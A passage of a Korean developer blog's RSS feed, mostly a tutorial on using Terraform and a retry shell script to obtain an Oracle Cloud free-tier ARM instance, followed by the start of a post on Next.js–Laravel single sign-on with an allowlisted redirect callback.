&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style2&quot; /&gt;
&lt;p style=&quot;background-color: #fdfdfc; color: #0a0a0a; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;개발자라면 나만의 서버, 나만의 서비스를 보유하는것을 누구나 한번쯤 원하실텐데요.&lt;br /&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p style=&quot;background-color: #fdfdfc; color: #0a0a0a; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;Oracle Cloud는 타 클라우드와 달리 정말 강력한 무료 서버를 제공합니다. ARM 기반의 A1 인스턴스를 무려 4 OCPU, 24GB RAM, 200GB 디스크까지 완전 무료로 사용할 수 있는데요. 문제는 이 사실을 아는 사람이 너무 많아서 항상 용량이 부족하다는 겁니다. 직접 콘솔에서 만들려고 하면 &quot;Out of host capacity&quot; 에러만 반복해서 보게 됩니다.&lt;/span&gt;&lt;/p&gt;
&lt;p style=&quot;background-color: #fdfdfc; color: #0a0a0a; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;그래서 Terraform과 Shell Script를 이용해서 자동으로 재시도하는 방식으로 인스턴스를 선점하는 방법을 정리해봤습니다.&lt;/span&gt;&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style5&quot; /&gt;
&lt;p style=&quot;background-color: #fdfdfc; color: #0a0a0a; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;■ Oracle Cloud Always Free A1 사양&lt;/span&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc; background-color: #fdfdfc; color: #0a0a0a; text-align: start;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;span style=&quot;color: #333333;&quot;&gt;CPU: 4 OCPU (ARM Ampere A1)&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;color: #333333;&quot;&gt;RAM: 24GB&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;color: #333333;&quot;&gt;디스크: 200GB&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;color: #333333;&quot;&gt;비용: 완전 무료 (Always Free 계정 기준)&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p style=&quot;background-color: #fdfdfc; color: #0a0a0a; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;단, 이 4 OCPU / 24GB는 테넌시(계정) 전체 합산 한도입니다. 여러 리전에 동시에 만들 수 없고 총합이 이 한도를 넘으면 유료로 전환됩니다.&lt;/span&gt;&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style6&quot; /&gt;
&lt;p style=&quot;background-color: #fdfdfc; color: #0a0a0a; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;■ 사전 준비&lt;/span&gt;&lt;/p&gt;
&lt;ol style=&quot;list-style-type: decimal; background-color: #fdfdfc; color: #0a0a0a; text-align: start;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li&gt;&lt;span style=&quot;color: #333333;&quot;&gt;Oracle Cloud 계정 생성 (&lt;a style=&quot;color: #333333;&quot; href=&quot;https://cloud.oracle.com&quot;&gt;https://cloud.oracle.com&lt;/a&gt;)&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;color: #333333;&quot;&gt;API 키 생성&lt;/span&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;span style=&quot;color: #333333;&quot;&gt;우상단 프로필 &amp;rarr; 내 프로파일 &amp;rarr; API 키 &amp;rarr; API 키 추가&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;color: #333333;&quot;&gt;다운로드된 .pem 파일을 C:\Users\계정명.oci\ 폴더에 저장&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;color: #333333;&quot;&gt;Tenancy OCID, User OCID, Fingerprint 메모해두기&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;color: #333333;&quot;&gt;SSH 키 생성 (Git Bash에서 실행)&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: #333333;&quot;&gt;ssh-keygen -t rsa -b 4096 -f ~/.ssh/oracle_a1&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;color: #333333;&quot;&gt;Terraform 설치 (PowerShell에서 실행)&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: #333333;&quot;&gt;winget install HashiCorp.Terraform&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style6&quot; /&gt;
&lt;p style=&quot;background-color: #fdfdfc; color: #0a0a0a; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;■ 프로젝트 구조&lt;/span&gt;&lt;/p&gt;
&lt;p style=&quot;background-color: #fdfdfc; color: #0a0a0a; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;oracle-a1-hunt/&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: #333333;&quot;&gt;├── main.tf # VCN, 서브넷, 인스턴스 등 인프라 정의&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: #333333;&quot;&gt;├── provider.tf # OCI 프로바이더 설정&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: #333333;&quot;&gt;├── variables.tf # 변수 정의&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: #333333;&quot;&gt;├── terraform.tfvars # 실제 자격증명 입력 (git에 올리면 안 됨)&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: #333333;&quot;&gt;├── cloud-init.yaml # 서버 초기화 스크립트 (Docker 등 설치)&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: #333333;&quot;&gt;├── hunt.sh # 자동 재시도 스크립트&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: #333333;&quot;&gt;└── multi-region-hunt.sh # 멀티 리전 동시 실행 스크립트&lt;/span&gt;&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style6&quot; /&gt;
&lt;p style=&quot;background-color: #fdfdfc; color: #0a0a0a; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;■ 핵심 파일 설명&lt;/span&gt;&lt;/p&gt;
&lt;p style=&quot;background-color: #fdfdfc; color: #0a0a0a; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;▶ main.tf&lt;/span&gt;&lt;/p&gt;
&lt;p style=&quot;background-color: #fdfdfc; color: #0a0a0a; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;인프라를 정의하는 핵심 파일입니다. VCN(가상 네트워크), 서브넷, 인터넷 게이트웨이, 보안 그룹, 그리고 A1 인스턴스를 선언합니다.&lt;/span&gt;&lt;/p&gt;
&lt;p style=&quot;background-color: #fdfdfc; color: #0a0a0a; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;이미지 OCID는 하드코딩하면 시간이 지나면서 만료될 수 있어서, 아래처럼 data source로 최신 Ubuntu 22.04 ARM 이미지를 자동 조회하도록 설정했습니다.&lt;/span&gt;&lt;/p&gt;
&lt;p style=&quot;background-color: #fdfdfc; color: #0a0a0a; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;data &quot;oci_core_images&quot; &quot;ubuntu_arm&quot; {&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: #333333;&quot;&gt;compartment_id = var.compartment_ocid&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: #333333;&quot;&gt;operating_system = &quot;Canonical Ubuntu&quot;&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: #333333;&quot;&gt;operating_system_version = &quot;22.04&quot;&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: #333333;&quot;&gt;shape = &quot;VM.Standard.A1.Flex&quot;&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: #333333;&quot;&gt;sort_by = &quot;TIMECREATED&quot;&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: #333333;&quot;&gt;sort_order = &quot;DESC&quot;&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: #333333;&quot;&gt;}&lt;/span&gt;&lt;/p&gt;
&lt;p style=&quot;background-color: #fdfdfc; color: #0a0a0a; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;▶ hunt.sh&lt;/span&gt;&lt;/p&gt;
&lt;p style=&quot;background-color: #fdfdfc; color: #0a0a0a; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;핵심 자동화 스크립트입니다. 최대 2000회까지 45~90초 간격으로 terraform apply를 반복 실행합니다. 성공하면 SUCCESS.txt 파일을 생성하고 종료합니다. 에러 종류에 따라 재시도 또는 즉시 종료를 구분합니다.&lt;/span&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc; background-color: #fdfdfc; color: #0a0a0a; text-align: start;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;span style=&quot;color: #333333;&quot;&gt;Out of host capacity &amp;rarr; 정상, 자동 재시도&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;color: #333333;&quot;&gt;LimitExceeded &amp;rarr; 즉시 종료 (쿼터 초과)&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;color: #333333;&quot;&gt;인증 에러 &amp;rarr; 즉시 종료 (설정 문제)&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p style=&quot;background-color: #fdfdfc; color: #0a0a0a; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;▶ multi-region-hunt.sh&lt;/span&gt;&lt;/p&gt;
&lt;p style=&quot;background-color: #fdfdfc; color: #0a0a0a; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;춘천, 도쿄, 싱가포르 3개 리전을 동시에 백그라운드로 실행합니다. 하나라도 먼저 성공하면 해당 리전에서 인스턴스가 생성됩니다.&lt;/span&gt;&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;p style=&quot;background-color: #fdfdfc; color: #0a0a0a; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;■ terraform.tfvars 설정&lt;/span&gt;&lt;/p&gt;
&lt;p style=&quot;background-color: #fdfdfc; color: #0a0a0a; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;아래 내용을 본인 계정 정보에 맞게 입력합니다.&lt;/span&gt;&lt;/p&gt;
&lt;p style=&quot;background-color: #fdfdfc; color: #0a0a0a; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;tenancy_ocid = &quot;ocid1.tenancy.oc1..xxx&quot;&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: #333333;&quot;&gt;user_ocid = &quot;ocid1.user.oc1..xxx&quot;&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: #333333;&quot;&gt;fingerprint = &quot;xx:xx:xx:xx:...&quot;&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: #333333;&quot;&gt;compartment_ocid = &quot;ocid1.tenancy.oc1..xxx&quot;&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: #333333;&quot;&gt;private_key_path = &quot;C:/Users/계정명/.oci/키파일이름.pem&quot;&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: #333333;&quot;&gt;region = &quot;ap-chuncheon-1&quot;&lt;/span&gt;&lt;/p&gt;
&lt;p style=&quot;background-color: #fdfdfc; color: #0a0a0a; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;주의: 이 파일은 절대 GitHub 등에 올리면 안 됩니다. .gitignore에 반드시 추가하세요.&lt;/span&gt;&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;p style=&quot;background-color: #fdfdfc; color: #0a0a0a; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;■ 실행 방법&lt;/span&gt;&lt;/p&gt;
&lt;p style=&quot;background-color: #fdfdfc; color: #0a0a0a; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;Git Bash에서 실행합니다.&lt;/span&gt;&lt;/p&gt;
&lt;h1 style=&quot;background-color: #fdfdfc; color: #0a0a0a; text-align: start;&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;단일 리전 (춘천)&lt;/span&gt;&lt;/h1&gt;
&lt;p style=&quot;background-color: #fdfdfc; color: #0a0a0a; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;cd ~/oracle-a1-hunt&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: #333333;&quot;&gt;terraform init&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: #333333;&quot;&gt;./hunt.sh&lt;/span&gt;&lt;/p&gt;
&lt;h1 style=&quot;background-color: #fdfdfc; color: #0a0a0a; text-align: start;&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;멀티 리전 동시 실행&lt;/span&gt;&lt;/h1&gt;
&lt;p style=&quot;background-color: #fdfdfc; color: #0a0a0a; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;./multi-region-hunt.sh&lt;/span&gt;&lt;/p&gt;
&lt;p style=&quot;background-color: #fdfdfc; color: #0a0a0a; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;로그 확인:&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: #333333;&quot;&gt;tail -f ~/oracle-a1-hunt/hunt_*/hunt.log&lt;/span&gt;&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style6&quot; /&gt;
&lt;p style=&quot;background-color: #fdfdfc; color: #0a0a0a; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;■ 자주 보이는 에러와 해결법&lt;/span&gt;&lt;/p&gt;
&lt;p style=&quot;background-color: #fdfdfc; color: #0a0a0a; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;▶ &quot;did not find a proper configuration for private key&quot;&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: #333333;&quot;&gt;private_key_path에 절대 경로를 입력했는지 확인하세요. ~ 경로는 Terraform이 인식하지 못할 수 있습니다.&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: #333333;&quot;&gt;C:/Users/계정명/.oci/키파일.pem 형식으로 입력하면 됩니다.&lt;/span&gt;&lt;/p&gt;
&lt;p style=&quot;background-color: #fdfdfc; color: #0a0a0a; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;▶ &quot;404-NotAuthorizedOrNotFound&quot; (인스턴스 생성 시)&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: #333333;&quot;&gt;이미지 OCID가 만료되었을 가능성이 높습니다. 하드코딩된 image_ocid 대신 data source로 자동 조회하는 방식을 사용하면 해결됩니다.&lt;/span&gt;&lt;/p&gt;
&lt;p style=&quot;background-color: #fdfdfc; color: #0a0a0a; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;▶ &quot;LimitExceeded&quot;&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: #333333;&quot;&gt;무료 쿼터(4 OCPU / 24GB)를 이미 다른 리전에서 사용 중입니다. 기존 인스턴스를 삭제 후 재시도하거나 사양을 낮춰야 합니다.&lt;/span&gt;&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style6&quot; /&gt;
&lt;p style=&quot;background-color: #fdfdfc; color: #0a0a0a; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;■ 성공 후 접속 방법&lt;/span&gt;&lt;/p&gt;
&lt;p style=&quot;background-color: #fdfdfc; color: #0a0a0a; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;▶ SSH (Git Bash / 터미널)&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: #333333;&quot;&gt;ssh -i ~/.ssh/oracle_a1 ubuntu@서버IP&lt;/span&gt;&lt;/p&gt;
&lt;p style=&quot;background-color: #fdfdfc; color: #0a0a0a; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;▶ PuTTY (Windows)&lt;/span&gt;&lt;/p&gt;
&lt;ol style=&quot;list-style-type: decimal; background-color: #fdfdfc; color: #0a0a0a; text-align: start;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li&gt;&lt;span style=&quot;color: #333333;&quot;&gt;PuTTYgen으로 ~/.ssh/oracle_a1 파일을 oracle_a1.ppk로 변환&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;color: #333333;&quot;&gt;PuTTY 실행&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;color: #333333;&quot;&gt;Host Name: 서버 IP, Port: 22&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;color: #333333;&quot;&gt;Connection &amp;gt; SSH &amp;gt; Auth &amp;gt; Credentials에서 .ppk 파일 선택&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;color: #333333;&quot;&gt;Connection &amp;gt; Data에서 Auto-login username: ubuntu 입력&lt;/span&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style6&quot; /&gt;
&lt;p style=&quot;background-color: #fdfdfc; color: #0a0a0a; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;■ 서버 사양 확인&lt;/span&gt;&lt;/p&gt;
&lt;p style=&quot;background-color: #fdfdfc; color: #0a0a0a; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;접속 후 아래 명령어로 사양을 확인할 수 있습니다.&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: #333333;&quot;&gt;echo &quot;=== CPU ===&quot; &amp;amp;&amp;amp; nproc &amp;amp;&amp;amp; echo &quot;=== RAM ===&quot; &amp;amp;&amp;amp; free -h &amp;amp;&amp;amp; echo &quot;=== DISK ===&quot; &amp;amp;&amp;amp; df -h /&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;926&quot; data-origin-height=&quot;225&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/vC9pO/dJMcacJKPRg/BsSbfJFYK7JVPSmdaLZHN1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/vC9pO/dJMcacJKPRg/BsSbfJFYK7JVPSmdaLZHN1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/vC9pO/dJMcacJKPRg/BsSbfJFYK7JVPSmdaLZHN1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FvC9pO%2FdJMcacJKPRg%2FBsSbfJFYK7JVPSmdaLZHN1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;926&quot; height=&quot;225&quot; data-origin-width=&quot;926&quot; data-origin-height=&quot;225&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style6&quot; /&gt;
&lt;p style=&quot;background-color: #fdfdfc; color: #0a0a0a; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;■ 주의사항&lt;/span&gt;&lt;/p&gt;
&lt;ol style=&quot;list-style-type: decimal; background-color: #fdfdfc; color: #0a0a0a; text-align: start;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li&gt;&lt;span style=&quot;color: #333333;&quot;&gt;Always Free 한도는 테넌시 전체 합산입니다. 4 OCPU / 24GB를 초과하면 과금됩니다.&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;color: #333333;&quot;&gt;결제 안심을 위해 Oracle Cloud 콘솔에서 예산을 $1로 설정해두면 과금 발생 시 즉시 알림을 받을 수 있습니다.&lt;br /&gt;(홈 리전에서 버젯 알림 설정해야합니다, 저 처럼 도쿄에서 삽질하지마십쇼 .. ㅋㅋ API ERROR 뜸)&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;color: #333333;&quot;&gt;terraform.tfvars는 절대 공개 저장소에 올리지 마세요.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;p style=&quot;background-color: #fdfdfc; color: #0a0a0a; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;■ 마치며&lt;/span&gt;&lt;/p&gt;
&lt;p style=&quot;background-color: #fdfdfc; color: #0a0a0a; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;저도 처음에 직접 콘솔에서 수십 번 시도하다가 포기했는데, 자동화 스크립트 돌리고 나서 성공했습니다.&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: #333333;&quot;&gt;도쿄 리전에서 약 3분 만에 생성됐어요.&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: #333333;&quot;&gt;춘천에 안만들어진게 상당히 아쉽긴하다만, 뭐 이거라도 감사히 써야죠 ~!&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: #333333;&quot;&gt;춘천 시도하려면 기존 사양 줄이거나, 없애고 다시 시도해야된대서 괜히 없앴다가 못만들까봐 그냥 갖고있으려합니다 ㅋㅋ&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;</description>
      <category>IT/잡다구리</category>
      <category>A1 인스턴스</category>
      <category>ARM 서버</category>
      <category>OCI</category>
      <category>Oracle Cloud</category>
      <category>oracle free tier</category>
      <category>terraform</category>
      <category>오라클 무료 서버</category>
      <category>오라클 클라우드</category>
      <category>클라우드 자동화</category>
      <category>테라폼</category>
      <author>월공</author>
      <guid isPermaLink="true">https://bug41.tistory.com/226</guid>
      <comments>https://bug41.tistory.com/entry/Oracle-Cloud-%EB%AC%B4%EB%A3%8C-%EC%84%9C%EB%B2%84-4-OCPU-24GB-RAM-%EC%9E%90%EB%8F%99-%EC%84%A0%EC%A0%90%ED%95%98%EA%B8%B0-Terraform-%EC%9E%90%EB%8F%99%ED%99%94-%EC%8A%A4%ED%81%AC%EB%A6%BD%ED%8A%B8-%EC%9C%88%EB%8F%84%EC%9A%B0-%EA%B8%B0%EC%A4%80#entry226comment</comments>
      <pubDate>Fri, 1 May 2026 09:39:32 +0900</pubDate>
    </item>
    <item>
      <title>Next.js와 Laravel 크로스 도메인 SSO 구현하기</title>
      <link>https://bug41.tistory.com/entry/Nextjs%EC%99%80-Laravel-%ED%81%AC%EB%A1%9C%EC%8A%A4-%EB%8F%84%EB%A9%94%EC%9D%B8-SSO-%EA%B5%AC%ED%98%84%ED%95%98%EA%B8%B0</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;환경&lt;/b&gt;&lt;br /&gt;1. SSO 인증서버 (81) : Next.js , 구글 로그인 구현 완료, &lt;u&gt;&lt;b&gt;HTTPS&lt;/b&gt;&lt;/u&gt;&lt;br /&gt;2. 외부 사이트 (83) : Laravel, PHP , 로그인 기능 없음&lt;b&gt;, &lt;u&gt;HTTP&lt;/u&gt;&lt;br /&gt;&lt;br /&gt;공통사항&lt;br /&gt;&lt;/b&gt;각 다른서버고 각 Docker에 잘 띄워져있는 상태&lt;br /&gt;&lt;br /&gt;요약 : 로그인 기능 없는 라라벨 프로젝트를, Next.js 찍먹 하고와서 로그인 구현 되게 하고싶었음&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style2&quot; /&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;1.전체 아키텍처&lt;br /&gt;&lt;/b&gt;&lt;/p&gt;
&lt;pre id=&quot;code_1769382795570&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;외부 사이트(83) &amp;rarr; SSO 인증 서버(81) &amp;rarr; Google 로그인 &amp;rarr; Ticket 발급 &amp;rarr; 외부 사이트로 리다이렉트&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;1. 83 에 접속하면 묻고 따지지도 말고 무조건 81 로 redirect 시켜줌 ( * redirect 시킬때 callbackurl=83 url 를 포함)&lt;br /&gt;2. 81 서버에서 로그인 성공적으로 완료 하는순간, 어?&amp;nbsp; callbackurl 외부 url 이네 ?&lt;br /&gt;&amp;nbsp; &amp;nbsp; 인식되면 81서버 자체에서 sso 로직 태움 =&amp;gt; 티켓 발급&lt;br /&gt;3. 티켓을 get param 으로 껴넣어서 다시 외부 사이트(83) 로 redirect 시켜줌&lt;br /&gt;4. 83 에서 받아온거로 다시 81 쪽 API 서버에 이거 너네가 발급한거 진짜맞냐? 하고 발송&lt;br /&gt;5. 81 에서는 유효한 티켓값인지 검증후, 맞다면 간략회원정보 JSON 으로 내려줌&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;2. 핵심 컴포넌트 (Next.js 쪽)&lt;br /&gt;&lt;br /&gt;&lt;/b&gt;app/api/auth[...nextauth]/route.js 중 일부&lt;br /&gt;&lt;b&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;span style=&quot;text-align: start;&quot;&gt;역할:&lt;/span&gt;&lt;span style=&quot;text-align: start;&quot;&gt;&amp;nbsp;로그인 성공 후 외부 URL을 S&lt;/span&gt;&lt;span style=&quot;text-align: start;&quot;&gt;SO authorize로&lt;/span&gt;&lt;span style=&quot;text-align: start;&quot;&gt;&amp;nbsp;자동 변환&lt;/span&gt;&lt;/span&gt;&lt;/b&gt; &lt;/p&gt;
&lt;pre id=&quot;code_1769384041054&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;async redirect({ url, baseUrl }) {
  // jwt 콜백의 DB 작업 완료 보장 (500ms 대기)
  await new Promise(resolve =&amp;gt; setTimeout(resolve, 500));
  
  // SSO authorize URL은 그대로 반환 (무한 루프 방지)
  if (url.includes('/api/sso/authorize')) {
    return url;
  }
  
  // 내부 경로는 그대로 허용
  if (url === baseUrl || url.startsWith('/')) {
    return `${baseUrl}${url}`;
  }
  
  // 외부 URL인 경우: 허용 도메인 체크 후 SSO authorize로 변환
  const urlObj = new URL(url);
  const allowedDomains = process.env.EXTERNAL_ALLOWED_DOMAINS?.split(',') || [];
  
  const isAllowed = allowedDomains.some(domain =&amp;gt; {
    // 호스트명 정규화 및 포트 매칭
    // 와일드카드 도메인 지원 (*.example.com)
  });
  
  if (isAllowed) {
    // 외부 URL &amp;rarr; SSO authorize로 변환
    return `${baseUrl}/api/sso/auth?callbackUrl=${encodeURIComponent(url)}`;
  }
  
  // 허용되지 않은 외부 URL 차단
  return baseUrl;
}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
